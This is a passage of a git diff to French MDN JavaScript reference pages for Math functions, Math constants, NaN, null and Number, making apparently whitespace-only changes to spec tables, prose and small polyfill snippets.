la valeur de l'argument est négative, la valeur renvoyée sera {{jsxref("NaN")}}. Si la valeur de l'argument est `0`, la valeur de retour sera {{jsxref("Number.NEGATIVE_INFINITY", "-Infinity")}}. -`log()` est une méthode statique de `Math`, elle doit toujours être utilisée avec la syntaxe `Math.log()`, elle ne doit pas être utilisée à partir d'un autre objet qui aurait été créé (`Math` n'est pas un constructeur). Si on veut utiliser les constantes données par les logarithmes naturels de 2 ou 10, on pourra utiliser les constantes {{jsxref("Math.LN2")}} ou {{jsxref("Math.LN10")}}. De même pour les logarithmes en base 2 ou en base 10, on pourra utiliser {{jsxref("Math.log2()")}} or {{jsxref("Math.log10()")}}. +`log()` est une méthode statique de `Math`, elle doit toujours être utilisée avec la syntaxe `Math.log()`, elle ne doit pas être utilisée à partir d'un autre objet qui aurait été créé (`Math` n'est pas un constructeur). Si on veut utiliser les constantes données par les logarithmes naturels de 2 ou 10, on pourra utiliser les constantes {{jsxref("Math.LN2")}} ou {{jsxref("Math.LN10")}}. De même pour les logarithmes en base 2 ou en base 10, on pourra utiliser {{jsxref("Math.log2()")}} or {{jsxref("Math.log10()")}}. ## Exemples diff --git a/files/fr/web/javascript/reference/global_objects/math/log10/index.md b/files/fr/web/javascript/reference/global_objects/math/log10/index.md index 763738f700..f2b8e8d2c9 100644 --- a/files/fr/web/javascript/reference/global_objects/math/log10/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/log10/index.md @@ -15,7 +15,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Math/log10 La fonction **`Math.log10()`** renvoie le logarithme en base 10 d'un nombre, donné par la formule : -<math><semantics><mrow><mo>∀</mo><mi>x</mi><mo>></mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.log10</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>10</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext>l'unique </mtext><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>tel que</mtext><mspace width="thickmathspace"></mspace><msup><mn>10</mn><mi>y</mi></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x > 0, \mathtt{\operatorname{Math.log10}(x)} = \log_10(x) = \text{the unique} \; y \; \text{such that} \; 10^y = x</annotation></semantics></math> +<math><semantics><mrow><mo>∀</mo><mi>x</mi><mo>></mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.log10</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>10</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext>l'unique </mtext><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>tel que</mtext><mspace width="thickmathspace"></mspace><msup><mn>10</mn><mi>y</mi></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x > 0, \mathtt{\operatorname{Math.log10}(x)} = \log_10(x) = \text{the unique} \; y \; \text{such that} \; 10^y = x</annotation></semantics></math> {{EmbedInteractiveExample("pages/js/math-log10.html")}} @@ -65,7 +65,7 @@ Math.log10 = Math.log10 || function(x) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-math.log10', 'Math.log10')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-math.log10', 'Math.log10')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-math.log10', 'Math.log10')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/log10e/index.md b/files/fr/web/javascript/reference/global_objects/math/log10e/index.md index 05f9f01a3a..c15624f4d2 100644 --- a/files/fr/web/javascript/reference/global_objects/math/log10e/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/log10e/index.md @@ -40,9 +40,9 @@ getLog10e(); // 0.4342944819032518 | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.8.1.5', 'Math.LOG10E')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-math.log10e', 'Math.LOG10E')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-math.log10e', 'Math.LOG10E')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.8.1.5', 'Math.LOG10E')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-math.log10e', 'Math.LOG10E')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-math.log10e', 'Math.LOG10E')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/log1p/index.md b/files/fr/web/javascript/reference/global_objects/math/log1p/index.md index 1ca30ae91d..f4c65703e0 100644 --- a/files/fr/web/javascript/reference/global_objects/math/log1p/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/log1p/index.md @@ -64,7 +64,7 @@ Math.log1p = Math.log1p || function(x) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-math.log1p', 'Math.log1p')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-math.log1p', 'Math.log1p')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-math.log1p', 'Math.log1p')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/log2e/index.md b/files/fr/web/javascript/reference/global_objects/math/log2e/index.md index 6f986e4bf3..2f43747151 100644 --- a/files/fr/web/javascript/reference/global_objects/math/log2e/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/log2e/index.md @@ -40,9 +40,9 @@ getLog2e(); // 1.4426950408889634 | Spécification | Statut | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.8.1.4', 'Math.LOG2E')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-math.log2e', 'Math.LOG2E')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-math.log2e', 'Math.LOG2E')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.8.1.4', 'Math.LOG2E')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-math.log2e', 'Math.LOG2E')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-math.log2e', 'Math.LOG2E')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/max/index.md b/files/fr/web/javascript/reference/global_objects/math/max/index.md index ceae8a1e98..b44bf6fdc4 100644 --- a/files/fr/web/javascript/reference/global_objects/math/max/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/max/index.md @@ -79,9 +79,9 @@ Attention avec la décomposition et `apply()` qui pourront échouer s'il y a tro | Spécification | État | Commentaires | | -------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.8.2.11', 'Math.max')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-math.max', 'Math.max')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-math.max', 'Math.max')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.8.2.11', 'Math.max')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-math.max', 'Math.max')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-math.max', 'Math.max')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/min/index.md b/files/fr/web/javascript/reference/global_objects/math/min/index.md index 0fa9c67c58..fc14e057f6 100644 --- a/files/fr/web/javascript/reference/global_objects/math/min/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/min/index.md @@ -72,9 +72,9 @@ var x = Math.min(f(toto), limite); | Spécification | Statut | Commentaires | | -------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.8.2.12', 'Math.min')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-math.min', 'Math.min')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-math.min', 'Math.min')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.8.2.12', 'Math.min')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-math.min', 'Math.min')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-math.min', 'Math.min')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/pi/index.md b/files/fr/web/javascript/reference/global_objects/math/pi/index.md index d8f6d65a4a..1cc7bba4fb 100644 --- a/files/fr/web/javascript/reference/global_objects/math/pi/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/pi/index.md @@ -40,9 +40,9 @@ calculPérimètre(1); // 6.283185307179586 | Spécification | Statut | Commentaires | | -------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.8.1.6', 'Math.PI')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-math.pi', 'Math.PI')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-math.pi', 'Math.PI')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.8.1.6', 'Math.PI')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-math.pi', 'Math.PI')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-math.pi', 'Math.PI')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/sin/index.md b/files/fr/web/javascript/reference/global_objects/math/sin/index.md index 35bb474eef..f0a9ffae38 100644 --- a/files/fr/web/javascript/reference/global_objects/math/sin/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/sin/index.md @@ -48,9 +48,9 @@ Math.sin(Math.PI / 2); // 1 | Spécification | Statut | Commentaires | | -------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.8.2.16', 'Math.sin')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-math.sin', 'Math.sin')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-math.sin', 'Math.sin')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.8.2.16', 'Math.sin')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-math.sin', 'Math.sin')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-math.sin', 'Math.sin')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/sinh/index.md b/files/fr/web/javascript/reference/global_objects/math/sinh/index.md index 67abde0021..91c4fdaffc 100644 --- a/files/fr/web/javascript/reference/global_objects/math/sinh/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/sinh/index.md @@ -67,7 +67,7 @@ Math.sinh = Math.sinh || function(x){ | Spécification | État | Commentaires | | ------------------------------------------------------------------------ | ---------------------------- | ------------------- | | {{SpecName('ES2015', '#sec-math.sinh', 'Math.sinh')}} | {{Spec2('ES2015')}} | Définition initiale | -| {{SpecName('ESDraft', '#sec-math.sinh', 'Math.sinh')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-math.sinh', 'Math.sinh')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/sqrt/index.md b/files/fr/web/javascript/reference/global_objects/math/sqrt/index.md index 8af569dd19..9a76275685 100644 --- a/files/fr/web/javascript/reference/global_objects/math/sqrt/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/sqrt/index.md @@ -11,7 +11,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Math/sqrt --- {{JSRef}} -La fonction **`Math.sqrt()`** renvoie la racine carrée d'un nombre. Cette fonction est définie par : +La fonction **`Math.sqrt()`** renvoie la racine carrée d'un nombre. Cette fonction est définie par : <math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>≥</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mi>M</mi><mi>a</mi><mi>t</mi><mi>h</mi><mo>.</mo><mi>s</mi><mi>q</mi><mi>r</mi><mi>t</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msqrt><mi>x</mi></msqrt><mo>=</mo><mtext>l'unique</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>≥</mo><mn>0</mn><mspace width="thickmathspace"></mspace><mtext>tel que</mtext><mspace width="thickmathspace"></mspace><msup><mi>y</mi><mn>2</mn></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \geq 0, \mathtt{Math.sqrt(x)} = \sqrt{x} = \text{the unique} \; y \geq 0 \; \text{such that} \; y^2 = x</annotation></semantics></math> @@ -53,9 +53,9 @@ Math.sqrt(-0); // -0 | Spécification | État | Commentaires | | ------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.8.2.17', 'Math.sqrt')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-math.sqrt', 'Math.sqrt')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-math.sqrt', 'Math.sqrt')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.8.2.17', 'Math.sqrt')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-math.sqrt', 'Math.sqrt')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-math.sqrt', 'Math.sqrt')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/sqrt1_2/index.md b/files/fr/web/javascript/reference/global_objects/math/sqrt1_2/index.md index 2af49cd3ca..2efa5711a5 100644 --- a/files/fr/web/javascript/reference/global_objects/math/sqrt1_2/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/sqrt1_2/index.md @@ -38,9 +38,9 @@ getRoot1_2(); // 0.7071067811865476 | Spécification | Statut | Commentaires | | -------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.8.1.7', 'Math.SQRT1_2')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-math.sqrt1_2', 'Math.SQRT1_2')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-math.sqrt1_2', 'Math.SQRT1_2')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.8.1.7', 'Math.SQRT1_2')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-math.sqrt1_2', 'Math.SQRT1_2')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-math.sqrt1_2', 'Math.SQRT1_2')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/sqrt2/index.md b/files/fr/web/javascript/reference/global_objects/math/sqrt2/index.md index a9ba6b6994..5c6ccd6ce2 100644 --- a/files/fr/web/javascript/reference/global_objects/math/sqrt2/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/sqrt2/index.md @@ -38,9 +38,9 @@ getRoot2(); // 1.4142135623730951 | Spécification | Statut | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.8.1.8', 'Math.SQRT2')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-math.sqrt2', 'Math.SQRT2')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-math.sqrt2', 'Math.SQRT2')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.8.1.8', 'Math.SQRT2')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-math.sqrt2', 'Math.SQRT2')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-math.sqrt2', 'Math.SQRT2')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/tan/index.md b/files/fr/web/javascript/reference/global_objects/math/tan/index.md index 12b35857d3..cfb20906ad 100644 --- a/files/fr/web/javascript/reference/global_objects/math/tan/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/tan/index.md @@ -56,9 +56,9 @@ function getTanDeg(deg) { | Spécification | État | Commentaires | | -------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.8.2.18', 'Math.tan')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-math.tan', 'Math.tan')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-math.tan', 'Math.tan')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.8.2.18', 'Math.tan')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-math.tan', 'Math.tan')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-math.tan', 'Math.tan')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/tanh/index.md b/files/fr/web/javascript/reference/global_objects/math/tanh/index.md index b6dccc2b4f..2462942aac 100644 --- a/files/fr/web/javascript/reference/global_objects/math/tanh/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/tanh/index.md @@ -13,7 +13,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Math/tanh --- {{JSRef}} -La fonction **`Math.tanh()`** renvoie la tangente hyperbolique d'un nombre définie par : +La fonction **`Math.tanh()`** renvoie la tangente hyperbolique d'un nombre définie par : <math><semantics><mrow><mo lspace="0em" rspace="0em">tanh</mo><mi>x</mi><mo>=</mo><mfrac><mrow><mo lspace="0em" rspace="0em">sinh</mo><mi>x</mi></mrow><mrow><mo lspace="0em" rspace="0em">cosh</mo><mi>x</mi></mrow></mfrac><mo>=</mo><mfrac><mrow><msup><mi>e</mi><mi>x</mi></msup><mo>-</mo><msup><mi>e</mi><mrow><mo>-</mo><mi>x</mi></mrow></msup></mrow><mrow><msup><mi>e</mi><mi>x</mi></msup><mo>+</mo><msup><mi>e</mi><mrow><mo>-</mo><mi>x</mi></mrow></msup></mrow></mfrac><mo>=</mo><mfrac><mrow><msup><mi>e</mi><mrow><mn>2</mn><mi>x</mi></mrow></msup><mo>-</mo><mn>1</mn></mrow><mrow><msup><mi>e</mi><mrow><mn>2</mn><mi>x</mi></mrow></msup><mo>+</mo><mn>1</mn></mrow></mfrac></mrow><annotation encoding="TeX">\tanh x = \frac{\sinh x}{\cosh x} = \frac {e^x - e^{-x}} {e^x + e^{-x}} = \frac{e^{2x} - 1}{e^{2x}+1}</annotation></semantics></math> @@ -52,8 +52,8 @@ Cette méthode peut être émulée grâce à la fonction {{jsxref("Objets_globau ```js Math.tanh = Math.tanh || function(x){ - var a = Math.exp(+x), b = Math.exp(-x); - return a == Infinity ? 1 : b == Infinity ? -1 : (a - b) / (a + b); + var a = Math.exp(+x), b = Math.exp(-x); + return a == Infinity ? 1 : b == Infinity ? -1 : (a - b) / (a + b); } ``` @@ -77,7 +77,7 @@ Math.tanhx = Math.tanhx || function(x) { | Spécification | État | Commentaires | | ------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-math.tanh', 'Math.tanh')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-math.tanh', 'Math.tanh')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-math.tanh', 'Math.tanh')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/nan/index.md b/files/fr/web/javascript/reference/global_objects/nan/index.md index 0fee579a76..1521227f89 100644 --- a/files/fr/web/javascript/reference/global_objects/nan/index.md +++ b/files/fr/web/javascript/reference/global_objects/nan/index.md @@ -51,9 +51,9 @@ Number.isNaN('coucou monde'); // renvoie false | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ---------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3 | -| {{SpecName('ES5.1', '#sec-15.1.1.1', 'NaN')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-value-properties-of-the-global-object-nan', 'NaN')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-value-properties-of-the-global-object-nan', 'NaN')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.1.1.1', 'NaN')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-value-properties-of-the-global-object-nan', 'NaN')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-value-properties-of-the-global-object-nan', 'NaN')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/null/index.md b/files/fr/web/javascript/reference/global_objects/null/index.md index 265e06cd86..39693a1ed2 100644 --- a/files/fr/web/javascript/reference/global_objects/null/index.md +++ b/files/fr/web/javascript/reference/global_objects/null/index.md @@ -52,9 +52,9 @@ isNaN(1 + undefined); // true | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. | -| {{SpecName('ES5.1', '#sec-4.3.11', 'null value')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-null-value', 'null value')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-null-value', 'null value')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-4.3.11', 'null value')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-null-value', 'null value')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-null-value', 'null value')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/number/epsilon/index.md b/files/fr/web/javascript/reference/global_objects/number/epsilon/index.md index cc86d668c0..f8a3a4877a 100644 --- a/files/fr/web/javascript/reference/global_objects/number/epsilon/index.md +++ b/files/fr/web/javascript/reference/global_objects/number/epsilon/index.md @@ -46,7 +46,7 @@ if (Number.EPSILON === undefined) { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-number.epsilon', 'Number.EPSILON')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-number.epsilon', 'Number.EPSILON')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-number.epsilon', 'Number.EPSILON')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/number/index.md b/files/fr/web/javascript/reference/global_objects/number/index.md index 7a8b76b86a..6bef334a8e 100644 --- a/files/fr/web/javascript/reference/global_objects/number/index.md +++ b/files/fr/web/javascript/reference/global_objects/number/index.md @@ -74,22 +74,22 @@ L'objet `Number` est principalement utilisé dans les cas de figure suivants : ## Les instances de `Number` -Toutes les instances de `Number` héritent de {{jsxref("Number.prototype")}}. Il est possible de modifier le prototype du constructeur `Number` pour affecter toutes les instances de `Number`. +Toutes les instances de `Number` héritent de {{jsxref("Number.prototype")}}. Il est possible de modifier le prototype du constructeur `Number` pour affecter toutes les instances de `Number`. ### Méthodes - {{jsxref("Number.prototype.toExponential()" ,"Number.prototype.toExponential(<var>fractionDigits</var>)")}} - - : Retourne une chaîne représentant le nombre en notation exponentielle. + - : Retourne une chaîne représentant le nombre en notation exponentielle. - {{jsxref("Number.prototype.toFixed()", "Number.prototype.toFixed(<var>digits</var>)")}} - - : Retourne une chaîne représentant le nombre avec la notation virgule fixe. -- {{jsxref("Number.prototype.toLocaleString()", "Number.prototype.toLocaleString([<var>locales</var> [, <var>options</var>]])")}} - - : Retourne une chaîne avec une représentation sensible à la langue de ce nombre. Surcharge la méthode {{jsxref("Object.prototype.toLocaleString()")}}. + - : Retourne une chaîne représentant le nombre avec la notation virgule fixe. +- {{jsxref("Number.prototype.toLocaleString()", "Number.prototype.toLocaleString([<var>locales</var> [, <var>options</var>]])")}} + - : Retourne une chaîne avec une représentation sensible à la langue de ce nombre. Surcharge la méthode {{jsxref("Object.prototype.toLocaleString()")}}. - {{jsxref("Number.prototype.toPrecision()", "Number.prototype.toPrecision(<var>precision</var>)")}} - : Retourne une chaîne représentant le nombre avec une précision donnée en notation virgule fixe ou exponentielle. - {{jsxref("Number.prototype.toString()", "Number.prototype.toString([<var>radix</var>])")}} - - : Retourne une chaîne représentant le nombre dans une base numérique (radix) donnée. Surcharge la méthode {{jsxref("Object.prototype.toString()")}}. + - : Retourne une chaîne représentant le nombre dans une base numérique (radix) donnée. Surcharge la méthode {{jsxref("Object.prototype.toString()")}}. - {{jsxref("Number.prototype.valueOf()")}} - - : Retourne la valeur primitive de l'objet spécifié. Surcharge la méthode {{jsxref("Object.prototype.valueOf()")}}. + - : Retourne la valeur primitive de l'objet spécifié. Surcharge la méthode {{jsxref("Object.prototype.valueOf()")}}. ## Exemples diff --git a/files/fr/web/javascript/reference/global_objects/number/isfinite/index.md b/files/fr/web/javascript/reference/global_objects/number/isfinite/index.md index f348bbf6dc..04cd687d02 100644 --- a/files/fr/web/javascript/reference/global_objects/number/isfinite/index.md +++ b/files/fr/web/javascript/reference/global_objects/number/isfinite/index.md @@ -32,7 +32,7 @@ Un booléen indiquant si la valeur passée en argument est un nombre fini. ## Description -Par rapport à la fonction de l'objet global {{jsxref("isFinite","isFinite()")}} qui convertit l'argument donné en un nombre, la fonction `Number.isFinite` ne convertit pas l'argument et ne renvoie pas `true`. +Par rapport à la fonction de l'objet global {{jsxref("isFinite","isFinite()")}} qui convertit l'argument donné en un nombre, la fonction `Number.isFinite` ne convertit pas l'argument et ne renvoie pas `true`. ## Exemples @@ -76,7 +76,7 @@ Deuxième version plus concise qui utilise la méthode globale `isFinite` ```js if (Number.isFinite === undefined) Number.isFinite = function(value) { - return typeof value === "number" && isFinite(value); + return typeof value === "number" && isFinite(value); } ``` diff --git a/files/fr/web/javascript/reference/global_objects/number/isnan/index.md b/files/fr/web/javascript/reference/global_objects/number/isnan/index.md index fef4caa264..9ee91725b9 100644 --- a/files/fr/web/javascript/reference/global_objects/number/isnan/index.md +++ b/files/fr/web/javascript/reference/global_objects/number/isnan/index.md @@ -33,7 +33,7 @@ Un booléen qui indique si la valeur fournie en argument est {{jsxref("NaN")}}. Les deux opérateurs d'égalité, {{jsxref("Opérateurs/Opérateurs_de_comparaison", "==", "#.C3.89galit.C3.A9_simple_(.3D.3D)")}} et {{jsxref("Opérateurs/Opérateurs_de_comparaison", "===", "#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)")}}, renvoient `false` pour vérifier que {{jsxref("NaN")}} _est_ NaN. La fonction `Number.isNaN` est nécessaire pour distinguer ce cas. Le résultat de cette comparaison sera différent avec les autres méthodes de comparaisons en JavaScript. -En effet, la fonction globale {{jsxref("isNaN")}} convertit l'argument en un nombre. `Number.isNaN` ne convertit pas l'argument. Cela signifie qu'on peut passer des valeurs qui, normalement, seraient converties en NaN, mais qui ne sont pas NaN. Cela signifie également que, uniquement lorsque la méthode sera utilisée avec des nombres qui valent `NaN`, elle renverra `true`. +En effet, la fonction globale {{jsxref("isNaN")}} convertit l'argument en un nombre. 